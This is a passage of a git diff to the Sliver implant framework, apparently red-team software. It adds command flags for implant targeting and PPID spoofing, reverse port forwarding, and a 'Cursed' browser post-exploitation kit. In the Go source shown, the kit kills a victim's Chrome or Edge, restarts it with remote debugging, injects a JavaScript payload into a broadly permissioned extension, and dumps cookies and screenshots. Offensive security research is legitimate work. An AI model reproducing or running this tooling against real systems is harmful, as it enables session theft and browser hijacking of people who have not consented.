 			f.Bool("k", "keep-alive", false, "don't terminate host process once the execution completes")
+			f.Uint("P", "ppid", 0, "parent process id (optional)")
+			f.String("A", "process-arguments", "", "arguments to pass to the hosting process")
 
 			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
 		},
@@ -1108,6 +1178,8 @@ func BindCommands(con *console.SliverConsoleClient) {
 			f.String("n", "name", "", "name to assign loot (optional)")
 			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
 			f.Bool("k", "keep-alive", false, "don't terminate host process once the execution completes")
+			f.Uint("P", "ppid", 0, "parent process id (optional)")
+			f.String("A", "process-arguments", "", "arguments to pass to the hosting process")
 		},
 		Args: func(a *grumble.Args) {
 			a.String("filepath", "path the DLL file")
@@ -1196,6 +1268,7 @@ func BindCommands(con *console.SliverConsoleClient) {
 			f.String("d", "service-description", "Sliver implant", "description of the service")
 			f.String("p", "profile", "", "profile to use for service binary")
 			f.String("b", "binpath", "c:\\windows\\temp", "directory to which the executable will be uploaded")
+			f.String("c", "custom-exe", "", "custom service executable to use instead of generating a new Sliver")
 		},
 		Run: func(ctx *grumble.Context) error {
 			con.Println()
@@ -1272,6 +1345,7 @@ func BindCommands(con *console.SliverConsoleClient) {
 			f.String("y", "limit-username", "", "limit execution to specified username")
 			f.String("z", "limit-hostname", "", "limit execution to specified hostname")
 			f.String("F", "limit-fileexists", "", "limit execution to hosts with this file in the filesystem")
+			f.String("L", "limit-locale", "", "limit execution to hosts that match this locale")
 
 			f.String("f", "format", "exe", "Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries), 'service' (see `psexec` for more info) and 'shellcode' (windows only)")
 			f.String("s", "save", "", "directory/file to the binary to")
@@ -1329,6 +1403,7 @@ func BindCommands(con *console.SliverConsoleClient) {
 			f.String("y", "limit-username", "", "limit execution to specified username")
 			f.String("z", "limit-hostname", "", "limit execution to specified hostname")
 			f.String("F", "limit-fileexists", "", "limit execution to hosts with this file in the filesystem")
+			f.String("L", "limit-locale", "", "limit execution to hosts that match this locale")
 
 			f.String("f", "format", "exe", "Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries), 'service' (see `psexec` for more info) and 'shellcode' (windows only)")
 			f.String("s", "save", "", "directory/file to the binary to")
@@ -1458,6 +1533,7 @@ func BindCommands(con *console.SliverConsoleClient) {
 
 			f.String("c", "canary", "", "canary domain(s)")
 
+			f.String("N", "name", "", "implant name")
 			f.String("m", "mtls", "", "mtls connection strings")
 			f.String("g", "wg", "", "wg connection strings")
 			f.String("b", "http", "", "http(s) connection strings")
@@ -1480,6 +1556,7 @@ func BindCommands(con *console.SliverConsoleClient) {
 			f.String("y", "limit-username", "", "limit execution to specified username")
 			f.String("z", "limit-hostname", "", "limit execution to specified hostname")
 			f.String("F", "limit-fileexists", "", "limit execution to hosts with this file in the filesystem")
+			f.String("L", "limit-locale", "", "limit execution to hosts that match this locale")
 
 			f.String("f", "format", "exe", "Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries), 'service' (see `psexec` for more info) and 'shellcode' (windows only)")
 
@@ -1520,6 +1597,7 @@ func BindCommands(con *console.SliverConsoleClient) {
 
 			f.String("c", "canary", "", "canary domain(s)")
 
+			f.String("N", "name", "", "implant name")
 			f.String("m", "mtls", "", "mtls connection strings")
 			f.String("g", "wg", "", "wg connection strings")
 			f.String("b", "http", "", "http(s) connection strings")
@@ -1542,6 +1620,7 @@ func BindCommands(con *console.SliverConsoleClient) {
 			f.String("y", "limit-username", "", "limit execution to specified username")
 			f.String("z", "limit-hostname", "", "limit execution to specified hostname")
 			f.String("F", "limit-fileexists", "", "limit execution to hosts with this file in the filesystem")
+			f.String("L", "limit-locale", "", "limit execution to hosts that match this locale")
 
 			f.String("f", "format", "exe", "Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries), 'service' (see `psexec` for more info) and 'shellcode' (windows only)")
 
@@ -2459,6 +2538,59 @@ func BindCommands(con *console.SliverConsoleClient) {
 	})
 	con.App.AddCommand(registryCmd)
 
+	// [ Reverse Port Forwarding ] --------------------------------------------------------------
+
+	rportfwdCmd := &grumble.Command{
+		Name:     consts.RportfwdStr,
+		Help:     "reverse port forwardings",
+		LongHelp: help.GetHelpFor([]string{consts.RportfwdStr}),
+		Flags: func(f *grumble.Flags) {
+			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+		},
+		Run: func(ctx *grumble.Context) error {
+			con.Println()
+			rportfwd.RportFwdListenersCmd(ctx, con)
+			con.Println()
+			return nil
+		},
+		HelpGroup: consts.SliverHelpGroup,
+	}
+	rportfwdCmd.AddCommand(&grumble.Command{
+		Name:     consts.AddStr,
+		Help:     "Add and start reverse port forwarding",
+		LongHelp: help.GetHelpFor([]string{consts.RportfwdStr}),
+		Run: func(ctx *grumble.Context) error {
+			con.Println()
+			rportfwd.StartRportFwdListenerCmd(ctx, con)
+			con.Println()
+			return nil
+		},
+		Flags: func(f *grumble.Flags) {
+			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+			f.String("r", "remote", "", "remote address <ip>:<port> connection is forwarded to")
+			f.String("b", "bind", "", "bind address <ip>:<port> implants listen on")
+		},
+		HelpGroup: consts.SliverWinHelpGroup,
+	})
+	rportfwdCmd.AddCommand(&grumble.Command{
+		Name:     consts.RmStr,
+		Help:     "Stop and remove reverse port forwarding",
+		LongHelp: help.GetHelpFor([]string{consts.RportfwdStr}),
+		Run: func(ctx *grumble.Context) error {
+			con.Println()
+			rportfwd.StopRportFwdListenerCmd(ctx, con)
+			con.Println()
+			return nil
+		},
+		Flags: func(f *grumble.Flags) {
+			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+			f.Int("i", "id", 0, "id of portfwd to remove")
+		},
+		HelpGroup: consts.SliverWinHelpGroup,
+	})
+
+	con.App.AddCommand(rportfwdCmd)
+
 	// [ Pivots ] --------------------------------------------------------------
 
 	pivotsCmd := &grumble.Command{
@@ -3243,7 +3375,7 @@ func BindCommands(con *console.SliverConsoleClient) {
 			return nil
 		},
 		Args: func(a *grumble.Args) {
-			a.String("connection-string", "connection string to the Operator Host")
+			a.String("connection-string", "connection string to the Operator Host (e.g. 127.0.0.1:1234)")
 		},
 		Flags: func(f *grumble.Flags) {
 			f.Bool("s", "skip-existing", false, "Do not add existing sessions as Operator Agents")
@@ -3251,6 +3383,168 @@ func BindCommands(con *console.SliverConsoleClient) {
 			f.String("r", "range", "sliver", "Agents range")
 		},
 	})
-
 	con.App.AddCommand(operatorCmd)
+
+	// [ Curse Commands ] ------------------------------------------------------------
+
+	cursedCmd := &grumble.Command{
+		Name:      consts.Cursed,
+		Help:      "Chrome/electron post-exploitation tool kit (∩｀-´)⊃━☆ﾟ.*･｡ﾟ",
+		LongHelp:  help.GetHelpFor([]string{consts.Cursed}),
+		HelpGroup: consts.GenericHelpGroup,
+		Flags: func(f *grumble.Flags) {
+			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+		},
+		Run: func(ctx *grumble.Context) error {
+			con.Println()
+			cursed.CursedCmd(ctx, con)
+			con.Println()
+			return nil
+		},
+	}
+	cursedCmd.AddCommand(&grumble.Command{
+		Name:      consts.RmStr,
+		Help:      "Remove a Curse from a process",
+		LongHelp:  help.GetHelpFor([]string{consts.Cursed, consts.CursedConsole}),
+		HelpGroup: consts.GenericHelpGroup,
+		Flags: func(f *grumble.Flags) {
+			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+			f.Bool("k", "kill", false, "kill the process after removing the curse")
+		},
+		Args: func(a *grumble.Args) {
+			a.Int("bind-port", "bind port of the Cursed process to stop")
+		},
+		Run: func(ctx *grumble.Context) error {
+			con.Println()
+			cursed.CursedRmCmd(ctx, con)
+			con.Println()
+			return nil
+		},
+	})
+	cursedCmd.AddCommand(&grumble.Command{
+		Name:      consts.CursedConsole,
+		Help:      "Start a JavaScript console connected to a debug target",
+		LongHelp:  help.GetHelpFor([]string{consts.Cursed, consts.CursedConsole}),
+		HelpGroup: consts.GenericHelpGroup,
+		Flags: func(f *grumble.Flags) {
+			f.Int("r", "remote-debugging-port", 0, "remote debugging tcp port (0 = random)`")
+
+			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+		},
+		Run: func(ctx *grumble.Context) error {
+			con.Println()
+			cursed.CursedConsoleCmd(ctx, con)
+			con.Println()
+			return nil
+		},
+	})
+	cursedCmd.AddCommand(&grumble.Command{
+		Name:      consts.CursedChrome,
+		Help:      "Automatically inject a Cursed Chrome payload into a remote Chrome extension",
+		LongHelp:  help.GetHelpFor([]string{consts.Cursed, consts.CursedChrome}),
+		HelpGroup: consts.GenericHelpGroup,
+		Flags: func(f *grumble.Flags) {
+			f.Int("r", "remote-debugging-port", 0, "remote debugging tcp port (0 = random)")
+			f.Bool("R", "restore", true, "restore the user's session after process termination")
+			f.String("e", "exe", "", "chrome/chromium browser executable path (blank string = auto)")
+			f.String("u", "user-data", "", "user data directory (blank string = auto)")
+			f.String("p", "payload", "", "cursed chrome payload file path (.js)")
+			f.Bool("k", "keep-alive", false, "keeps browser alive after last browser window closes")
+			f.Bool("H", "headless", false, "start browser process in headless mode")
+
+			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+		},
+		Args: func(a *grumble.Args) {
+			a.StringList("args", "additional chrome cli arguments", grumble.Default([]string{}))
+		},
+		Run: func(ctx *grumble.Context) error {
+			con.Println()
+			cursed.CursedChromeCmd(ctx, con)
+			con.Println()
+			return nil
+		},
+	})
+	cursedCmd.AddCommand(&grumble.Command{
+		Name:      consts.CursedEdge,
+		Help:      "Automatically inject a Cursed Chrome payload into a remote Edge extension",
+		LongHelp:  help.GetHelpFor([]string{consts.Cursed, consts.CursedEdge}),
+		HelpGroup: consts.GenericHelpGroup,
+		Flags: func(f *grumble.Flags) {
+			f.Int("r", "remote-debugging-port", 0, "remote debugging tcp port (0 = random)")
+			f.Bool("R", "restore", true, "restore the user's session after process termination")
+			f.String("e", "exe", "", "edge browser executable path (blank string = auto)")
+			f.String("u", "user-data", "", "user data directory (blank string = auto)")
+			f.String("p", "payload", "", "cursed chrome payload file path (.js)")
+			f.Bool("k", "keep-alive", false, "keeps browser alive after last browser window closes")
+			f.Bool("H", "headless", false, "start browser process in headless mode")
+
+			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+		},
+		Args: func(a *grumble.Args) {
+			a.StringList("args", "additional edge cli arguments", grumble.Default([]string{}))
+		},
+		Run: func(ctx *grumble.Context) error {
+			con.Println()
+			cursed.CursedEdgeCmd(ctx, con)
+			con.Println()
+			return nil
+		},
+	})
+	cursedCmd.AddCommand(&grumble.Command{
+		Name:      consts.CursedElectron,
+		Help:      "Curse a remote Electron application",
+		LongHelp:  help.GetHelpFor([]string{consts.Cursed, consts.CursedElectron}),
+		HelpGroup: consts.GenericHelpGroup,
+		Flags: func(f *grumble.Flags) {
+			f.String("e", "exe", "", "remote electron executable absolute path")
+			f.Int("r", "remote-debugging-port", 0, "remote debugging tcp port (0 = random)")
+
+			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+		},
+		Args: func(a *grumble.Args) {
+			a.StringList("args", "additional electron cli arguments", grumble.Default([]string{}))
+		},
+		Run: func(ctx *grumble.Context) error {
+			con.Println()
+			cursed.CursedElectronCmd(ctx, con)
+			con.Println()
+			return nil
+		},
+	})
+	cursedCmd.AddCommand(&grumble.Command{
+		Name:      consts.CursedCookies,
+		Help:      "Dump all cookies from cursed process",
+		LongHelp:  help.GetHelpFor([]string{consts.Cursed, consts.CursedCookies}),
+		HelpGroup: consts.GenericHelpGroup,
+		Flags: func(f *grumble.Flags) {
+			f.String("s", "save", "", "save to file")
+
+			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+		},
+		Run: func(ctx *grumble.Context) error {
+			con.Println()
+			cursed.CursedCookiesCmd(ctx, con)
+			con.Println()
+			return nil
+		},
+	})
+	cursedCmd.AddCommand(&grumble.Command{
+		Name:      consts.ScreenshotStr,
+		Help:      "Take a screenshot of a cursed process debug target",
+		LongHelp:  help.GetHelpFor([]string{consts.Cursed, consts.ScreenshotStr}),
+		HelpGroup: consts.GenericHelpGroup,
+		Flags: func(f *grumble.Flags) {
+			f.Int64("q", "quality", 100, "screenshot quality (1 - 100)")
+			f.String("s", "save", "", "save to file")
+
+			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+		},
+		Run: func(ctx *grumble.Context) error {
+			con.Println()
+			cursed.CursedScreenshotCmd(ctx, con)
+			con.Println()
+			return nil
+		},
+	})
+	con.App.AddCommand(cursedCmd)
 }

client/command/cursed/README.md

@@ -0,0 +1,3 @@
+# Cursed
+
+Cursed is a Sliver Chrome/Electron post-exploitation tool kit based on/integrated with [CursedChrome](https://github.com/mandatoryprogrammer/CursedChrome). Code injection is performed via the [DevTools protocol](https://chromedevtools.github.io/devtools-protocol/).

client/command/cursed/cursed-chrome.go

@@ -0,0 +1,435 @@
+package cursed
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2022  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"context"
+	"errors"
+	"fmt"
+	"io/ioutil"
+	"log"
+	insecureRand "math/rand"
+	"strings"
+	"time"
+
+	"github.com/AlecAivazis/survey/v2"
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/client/core"
+	"github.com/bishopfox/sliver/client/overlord"
+	"github.com/bishopfox/sliver/client/tcpproxy"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/bishopfox/sliver/protobuf/commonpb"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"github.com/desertbit/grumble"
+)
+
+var (
+	ErrUserDataDirNotFound      = errors.New("could not find Chrome user data dir")
+	ErrChromeExecutableNotFound = errors.New("could not find Chrome executable")
+	ErrUnsupportedOS            = errors.New("unsupported OS")
+
+	windowsDriveLetters = []string{"C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z"}
+
+	cursedChromePermissions    = []string{overlord.AllURLs, overlord.WebRequest, overlord.WebRequestBlocking}
+	cursedChromePermissionsAlt = []string{overlord.AllHTTP, overlord.AllHTTPS, overlord.WebRequest, overlord.WebRequestBlocking}
+)
+
+// CursedChromeCmd - Execute a .NET assembly in-memory
+func CursedChromeCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	session := con.ActiveTarget.GetSessionInteractive()
+	if session == nil {
+		return
+	}
+
+	payloadPath := ctx.Flags.String("payload")
+	var payload []byte
+	var err error
+	if payloadPath != "" {
+		payload, err = ioutil.ReadFile(payloadPath)
+		if err != nil {
+			con.PrintErrorf("Could not read payload file: %s\n", err)
+			return
+		}
+	}
+
+	curse := avadaKedavraChrome(session, ctx, con)
+	if curse == nil {
+		return
+	}
+	if payloadPath == "" {
+		con.PrintWarnf("No Cursed Chrome payload was specified, skipping payload injection.\n")
+		return
+	}
+
+	con.PrintInfof("Searching for Chrome extension with all permissions ... ")
+	chromeExt, err := overlord.FindExtensionWithPermissions(curse, cursedChromePermissions)
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	// There is one alternative set of permissions that we can use if we don't find an extension
+	// with all the proper permissions.
+	if chromeExt == nil {
+		chromeExt, err = overlord.FindExtensionWithPermissions(curse, cursedChromePermissionsAlt)
+		if err != nil {
+			con.PrintErrorf("%s\n", err)
+			return
+		}
+	}
+	if chromeExt != nil {
+		con.Printf("success!\n")
+		con.PrintInfof("Found viable Chrome extension %s%s%s (%s)\n", console.Bold, chromeExt.Title, console.Normal, chromeExt.ID)
+		con.PrintInfof("Injecting payload ... ")
+		ctx, _, _ := overlord.GetChromeContext(chromeExt.WebSocketDebuggerURL, curse)
+		// extCtxTimeout, cancel := context.WithTimeout(ctx, 10*time.Second)
+		// defer cancel()
+		_, err = overlord.ExecuteJS(ctx, chromeExt.WebSocketDebuggerURL, chromeExt.ID, string(payload))
+		if err != nil {
+			con.PrintErrorf("%s\n", err)
+			return
+		}
+		con.Printf("success!\n")
+	} else {
+		con.Printf("failure!\n")
+		con.PrintInfof("No viable Chrome extensions were found ☹️\n")
+	}
+}
+
+func avadaKedavraChrome(session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) *core.CursedProcess {
+	chromeProcess, err := getChromeProcess(session, ctx, con)
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return nil
+	}
+	if chromeProcess != nil {
+		con.PrintWarnf("Found running Chrome process: %d (ppid: %d)\n", chromeProcess.GetPid(), chromeProcess.GetPpid())
+		con.PrintWarnf("Sliver will need to kill and restart the Chrome process in order to perform code injection.\n")
+		con.PrintWarnf("Sliver will attempt to restore the user's session, however %sDATA LOSS MAY OCCUR!%s\n", console.Bold, console.Normal)
+		con.Printf("\n")
+		confirm := false
+		err = survey.AskOne(&survey.Confirm{Message: "Kill and restore existing Chrome process?"}, &confirm)
+		if err != nil {
+			con.PrintErrorf("%s\n", err)
+			return nil
+		}
+		if !confirm {
+			con.PrintErrorf("User cancel\n")
+			return nil
+		}
+		terminateResp, err := con.Rpc.Terminate(context.Background(), &sliverpb.TerminateReq{
+			Request: con.ActiveTarget.Request(ctx),
+			Pid:     chromeProcess.GetPid(),
+		})
+		if err != nil {
+			con.PrintErrorf("%s\n", err)
+			return nil
+		}
+		if terminateResp.Response != nil && terminateResp.Response.Err != "" {
+			con.PrintErrorf("could not terminate the existing process: %s\n", terminateResp.Response.Err)
+			return nil
+		}
+	}
+	curse, err := startCursedChromeProcess(false, session, ctx, con)
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return nil
+	}
+	return curse
+}
+
+func startCursedChromeProcess(isEdge bool, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (*core.CursedProcess, error) {
+	name := "Chrome"
+	if isEdge {
+		name = "Edge"
+	}
+
+	con.PrintInfof("Finding %s executable path ... ", name)
+	chromeExePath, err := findChromeExecutablePath(isEdge, session, ctx, con)
+	if err != nil {
+		con.Printf("failure!\n")
+		return nil, err
+	}
+	con.Printf("success!\n")
+	con.PrintInfof("Finding %s user data directory ... ", name)
+	chromeUserDataDir, err := findChromeUserDataDir(isEdge, session, ctx, con)
+	if err != nil {
+		con.Printf("failure!\n")
+		return nil, err
+	}
+	con.Printf("success!\n")
+
+	con.PrintInfof("Starting %s process ... ", name)
+	debugPort := getRemoteDebuggerPort(ctx)
+	args := []string{
+		fmt.Sprintf("--remote-debugging-port=%d", debugPort),
+	}
+	if chromeUserDataDir != "" {
+		args = append(args, fmt.Sprintf("--user-data-dir=%s", chromeUserDataDir))
+	}
+	if ctx.Flags.Bool("restore") {
+		args = append(args, "--restore-last-session")
+	}
+	if ctx.Flags.Bool("keep-alive") {
+		args = append(args, "--keep-alive-for-test")
+	}
+	if ctx.Flags.Bool("headless") {
+		args = append(args, "--headless")
+	}
+	additionalArgs := ctx.Args.StringList("args")
+	if len(additionalArgs) > 0 {
+		args = append(args, additionalArgs...)
+	}
+
+	// Execute the Chrome process with the extra flags
+	// TODO: PPID spoofing, etc.
+	chromeExec, err := con.Rpc.Execute(context.Background(), &sliverpb.ExecuteReq{
+		Request: con.ActiveTarget.Request(ctx),
+		Path:    chromeExePath,
+		Args:    args,
+		Output:  false,
+	})
+	if err != nil {
+		con.Printf("failure!\n")
+		return nil, err
+	}
+	con.Printf("(pid: %d) success!\n", chromeExec.GetPid())
+
+	con.PrintInfof("Waiting for %s process to initialize ... ", name)
+	time.Sleep(2 * time.Second)
+
+	bindPort := insecureRand.Intn(10000) + 40000
+	bindAddr := fmt.Sprintf("127.0.0.1:%d", bindPort)
+
+	remoteAddr := fmt.Sprintf("127.0.0.1:%d", debugPort)
+
+	tcpProxy := &tcpproxy.Proxy{}
+	channelProxy := &core.ChannelProxy{
+		Rpc:             con.Rpc,
+		Session:         session,
+		RemoteAddr:      remoteAddr,
+		BindAddr:        bindAddr,
+		KeepAlivePeriod: 60 * time.Second,
+		DialTimeout:     30 * time.Second,
+	}
+	tcpProxy.AddRoute(bindAddr, channelProxy)
+	portFwd := core.Portfwds.Add(tcpProxy, channelProxy)
+
+	curse := &core.CursedProcess{
+		SessionID:         session.ID,
+		PID:               chromeExec.GetPid(),
+		PortFwd:           portFwd,
+		BindTCPPort:       bindPort,
+		Platform:          session.GetOS(),
+		ExePath:           chromeExePath,
+		ChromeUserDataDir: chromeUserDataDir,
+	}
+	core.CursedProcesses.Store(bindPort, curse)
+	go func() {
+		err := tcpProxy.Run()
+		if err != nil {
+			log.Printf("Proxy error %s", err)
+		}
+		core.CursedProcesses.Delete(bindPort)
+	}()
+
+	con.PrintInfof("Port forwarding %s -> %s\n", bindAddr, remoteAddr)
+
+	return curse, nil
+}
+
+func findChromeUserDataDir(isEdge bool, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (string, error) {
+	userDataFlag := ctx.Flags.String("user-data")
+	if userDataFlag != "" {
+		return userDataFlag, nil
+	}
+
+	switch session.GetOS() {
+
+	case "windows":
+		username := session.GetUsername()
+		if strings.Contains(username, "\\") {
+			username = strings.Split(username, "\\")[1]
+		}
+		for _, driveLetter := range windowsDriveLetters {
+			userDataDir := fmt.Sprintf("%s:\\Users\\%s\\AppData\\Local\\Google\\Chrome\\User Data", driveLetter, username)
+			if isEdge {
+				userDataDir = fmt.Sprintf("%s:\\Users\\%s\\AppData\\Local\\Microsoft\\Edge\\User Data", driveLetter, username)
+			}
+			ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
+				Request: con.ActiveTarget.Request(ctx),
+				Path:    userDataDir,
+			})
+			if err != nil {
+				return "", err
+			}
+			if ls.GetExists() {
+				return userDataDir, nil
+			}
+		}
+		return "", ErrUserDataDirNotFound
+
+	case "darwin":
+		userDataDir := fmt.Sprintf("/Users/%s/Library/Application Support/Google/Chrome", session.Username)
+		if isEdge {
+			userDataDir = fmt.Sprintf("/Users/%s/Library/Application Support/Microsoft Edge", session.Username)
+		}
+		ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
+			Request: con.ActiveTarget.Request(ctx),
+			Path:    userDataDir,
+		})
+		if err != nil {
+			return "", err
+		}
+		if ls.GetExists() {
+			return userDataDir, nil
+		}
+		return "", ErrUserDataDirNotFound
+
+	default:
+		return "", ErrUnsupportedOS
+	}
+}
+
+func findChromeExecutablePath(isEdge bool, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (string, error) {
+	exeFlag := ctx.Flags.String("exe")
+	if exeFlag != "" {
+		return exeFlag, nil
+	}
+
+	switch session.GetOS() {
+
+	case "windows":
+		chromeWindowsPaths := []string{
+			"[DRIVE]:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe",
+			"[DRIVE]:\\Program Files\\Google\\Chrome\\Application\\chrome.exe",
+			"[DRIVE]:\\Users\\[USERNAME]\\AppData\\Local\\Google\\Chrome\\Application\\chrome.exe",
+			"[DRIVE]:\\Program Files (x86)\\Google\\Application\\chrome.exe",
+		}
+		if isEdge {
+			chromeWindowsPaths = []string{
+				"[DRIVE]:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe",
+				"[DRIVE]:\\Program Files\\Microsoft\\Edge\\Application\\msedge.exe",
+				"[DRIVE]:\\Users\\[USERNAME]\\AppData\\Local\\Microsoft\\Edge\\Application\\msedge.exe",
+			}
+		}
+		username := session.GetUsername()
+		if strings.Contains(username, "\\") {
+			username = strings.Split(username, "\\")[1]
+		}
+		for _, driveLetter := range windowsDriveLetters {
+			for _, chromePath := range chromeWindowsPaths {
+				chromeExecutablePath := strings.ReplaceAll(chromePath, "[DRIVE]", driveLetter)
+				chromeExecutablePath = strings.ReplaceAll(chromeExecutablePath, "[USERNAME]", username)
+				ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
+					Request: con.ActiveTarget.Request(ctx),
+					Path:    chromeExecutablePath,
+				})
+				if err != nil {
+					return "", err
+				}
+				if ls.GetExists() {
+					return chromeExecutablePath, nil
+				}
+			}
+		}
+		return "", ErrChromeExecutableNotFound
+
+	case "darwin":
+		// AFAIK Chrome only installs to this path on macOS
+		defaultChromePath := "/Applications/Google Chrome.app/Contents/MacOS/Google Chrome"
+		if isEdge {
+			defaultChromePath = "/Applications/Microsoft Edge.app/Contents/MacOS/Microsoft Edge"
+		}
+		ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
+			Request: con.ActiveTarget.Request(ctx),
+			Path:    defaultChromePath,
+		})
+		if err != nil {
+			return "", err
+		}
+		if ls.GetExists() {
+			return defaultChromePath, nil
+		}
+		return "", ErrChromeExecutableNotFound
+
+	case "linux":
+		chromeLinuxPaths := []string{
+			"/usr/bin/google-chrome",
+			"/usr/bin/chromium-browser",
+			"/usr/local/bin/google-chrome",
+			"/usr/local/bin/chromium-browser",
+		}
+		if isEdge {
+			chromeLinuxPaths = []string{
+				"/usr/bin/microsoft-edge",
+				"/usr/local/bin/microsoft-edge",
+			}
+		}
+		for _, chromePath := range chromeLinuxPaths {
+			ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
+				Request: con.ActiveTarget.Request(ctx),
+				Path:    chromePath,
+			})
+			if err != nil {
+				return "", err
+			}
+			if ls.GetExists() {
+				return chromePath, nil
+			}
+		}
+		return "", ErrChromeExecutableNotFound
+
+	default:
+		return "", ErrUnsupportedOS
+	}
+}
+
+func isChromeProcess(executable string) bool {
+	var chromeProcessNames = []string{
+		"chrome",           // Linux
+		"google-chrome",    // Linux
+		"chromium-browser", // Linux
+		"chrome.exe",       // Windows
+		"Google Chrome",    // Darwin
+	}
+	for _, suffix := range chromeProcessNames {
+		if strings.HasSuffix(executable, suffix) {
+			return true
+		}
+	}
+	return false
+}
+
+func getChromeProcess(session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (*commonpb.Process, error) {
+	ps, err := con.Rpc.Ps(context.Background(), &sliverpb.PsReq{
+		Request: con.ActiveTarget.Request(ctx),
+	})
+	if err != nil {
+		return nil, err
+	}
+	for _, process := range ps.Processes {
+		if process.GetOwner() != session.GetUsername() {
+			continue
+		}
+		if isChromeProcess(process.GetExecutable()) {
+			return process, nil
+		}
+	}
+	return nil, nil
+}

client/command/cursed/cursed-console.go

@@ -0,0 +1,183 @@
+package cursed
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2022  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"bytes"
+	"fmt"
+	"io"
+	"io/ioutil"
+	"strings"
+	"text/tabwriter"
+
+	"github.com/AlecAivazis/survey/v2"
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/client/core"
+	"github.com/bishopfox/sliver/client/overlord"
+	"github.com/desertbit/grumble"
+	"github.com/desertbit/readline"
+)
+
+func CursedConsoleCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	curse := selectCursedProcess(con)
+	if curse == nil {
+		return
+	}
+	con.Println()
+	con.PrintInfof("Querying debug targets ... ")
+	targets, err := overlord.QueryDebugTargets(curse.DebugURL().String())
+	con.Printf(console.Clearln + "\r")
+	if err != nil {
+		con.PrintErrorf("Failed to query debug targets: %s\n", err)
+		return
+	}
+	target := selectDebugTarget(targets, con)
+	if target == nil {
+		return
+	}
+	con.PrintInfof("Connecting to '%s', use 'exit' to return ... \n\n", target.Title)
+	startCursedConsole(curse, true, target, con)
+}
+
+func selectDebugTarget(targets []overlord.ChromeDebugTarget, con *console.SliverConsoleClient) *overlord.ChromeDebugTarget {
+	if len(targets) < 1 {
+		con.PrintErrorf("No debug targets\n")
+		return nil
+	}
+
+	id2target := map[string]overlord.ChromeDebugTarget{}
+	outputBuf := bytes.NewBufferString("")
+	table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
+	for _, target := range targets {
+		fmt.Fprintf(table, "%s\t%s\t%s\n", target.ID, target.Title, target.URL)
+		id2target[target.ID] = target
+	}
+	table.Flush()
+	options := strings.Split(outputBuf.String(), "\n")
+	options = options[:len(options)-1] // Remove the last empty option
+	prompt := &survey.Select{
+		Message: "Select a debug target:",
+		Options: options,
+	}
+	selected := ""
+	err := survey.AskOne(prompt, &selected)
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return nil
+	}
+	if selected == "" {
+		return nil
+	}
+	selectedID := strings.Split(selected, " ")[0]
+	selectedTarget := id2target[selectedID]
+	return &selectedTarget
+}
+
+var (
+	helperHooks = []string{
+		"console.log = (...a) => {return a;}", // console.log
+	}
+)
+
+func startCursedConsole(curse *core.CursedProcess, helpers bool, target *overlord.ChromeDebugTarget, con *console.SliverConsoleClient) {
+	tmpFile, _ := ioutil.TempFile("", "cursed")
+	reader, err := readline.NewEx(&readline.Config{
+		Prompt:      "\033[31mcursed »\033[0m ",
+		HistoryFile: tmpFile.Name(),
